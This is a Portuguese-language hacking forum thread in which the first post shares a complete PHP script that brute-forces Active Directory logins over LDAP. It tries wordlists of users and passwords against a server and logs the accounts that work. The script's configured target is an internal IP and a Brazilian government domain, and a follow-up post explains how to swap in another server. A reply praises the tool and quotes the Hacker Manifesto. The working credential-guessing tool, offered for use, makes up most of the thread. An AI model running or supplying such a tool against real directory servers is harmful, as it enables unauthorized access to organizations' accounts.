Unconfigured Ad Widget

Collapse

Anúncio

Collapse
No announcement yet.

LDAP(Active Directory) Brute Force

Collapse
X
 
  • Filter
  • Tempo
  • Show
Clear All
new posts

  • Font Size
    #1

    Tools LDAP(Active Directory) Brute Force

    Para quem utiliza e faz management de AD (Active Directory) sabe que a ferramenta traz mtos recursos, e uma delas seria principalmente a gerencia de usuários, e aqui segue a tool para teste de login nas mesmas.

    Ldap module:
    ~# apt-get install php5-ldap
    Use:
    ~$ php ldap_brute.php user_list.txt pass_list.txt log.txt
    Code:
    Código PHP:
    <?php

    /*
     * Simple Ldap (Active Directory) brute force
     * by n4sss.
     * 
     * Need php5-ldap module in php (:
     * ~# apt-get install php5-ldap
     * ---snip---
     * $AD_server = "IP_AD";          
     * $domain = "DOMAIN_AD";
     * php ldap_brute.php user_list.txt pass_list.txt log.txt
     * 
     * twt -> @n4sss
     * 
     * */

    error_reporting(0);


    function 
    save_content($file$content){
        
    $fp fopen($file"a");
              
    fwrite($fp$content."\r\n");
              
    fclose($fp);
    }

    function 
    ad_connect($user$pass$log){
        
    $AD_server "172.28.105.254";          
        
    $domain "dpu.gov.br";
        
    $ad ldap_connect($AD_server);
              
    ldap_set_option($adLDAP_OPT_PROTOCOL_VERSION3);
              
    ldap_set_option($adLDAP_OPT_REFERRALS0);

        foreach(
    $user as $user_id => $user_try){
            foreach(
    $pass as $pass_id => $pass_try){
                
    sleep(1); // Edit it, if nescessary (:
            
    if(!empty($user_try)){
                
    $user_try trim($user_try);
                print 
    "[$user_id] Trying user -> $user_try\n";
                
    $bd ldap_bind($ad$user_try."@".$domain$pass_try);
                if( 
    $bd ){
                    print 
    "\n+----------------------+\n";
                    print 
    "[+] $user_try - Password -> $pass_try\n";
                    print 
    "+------------------------+\n\n";
                    
    save_content($log"$user:$pass");
                    }else{
                        echo 
    "[-] WRONG!\n";
                     }
                
    ldap_unbind($ad);
           }
       }
    }
    }

    if(!
    $argv[1] || !$argv[2] || !$argv[3]){
           print 
    "==================================\n";
           print 
    "Easy ldap(AD) brute force by n4sss\n";
           print 
    "==================================\n";
           print 
    "USE:\n";
           print 
    "===> php $argv[0] user_list.txt pass_list.txt log.txt\n";
           exit(
    0);       
        }else{
           
    $user explode("\n"file_get_contents("$argv[1]"));
           
    $pass array_filter(explode("\n"file_get_contents("$argv[2]")));
           
    $log trim("$argv[3]");
           
    ad_connect($user$pass,    $log);
      }

    ?>
    Link: Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...
    []'s
    Last edited by Bruno_menor; 26-10-2013, 20:09.
    n4sss@m4g1cl4b~#$I
    just this.

  • Font Size
    #2
    $AD_server = "172.28.105.254"; -> IP DO AD ( LOCAL )
    $domain = "dpu.gov.br"; -> DOMINIO ( LOCAL )
    n4sss@m4g1cl4b~#$I
    just this.

    Comment


    • Font Size
      #3
      Maneiro !

      Suas contribuições sempre são bem vindas.
      Yes, I am a criminal. My crime is that of curiosity. My crime is
      that of judging people by what they say and think, not what they look like.
      My crime is that of outsmarting you, something that you will never forgive me
      for.

      I am a hacker, and this is my manifesto. You may stop this individual,
      but you can't stop us all... after all, we're all alike.

      Comment

      X
      Working...
      X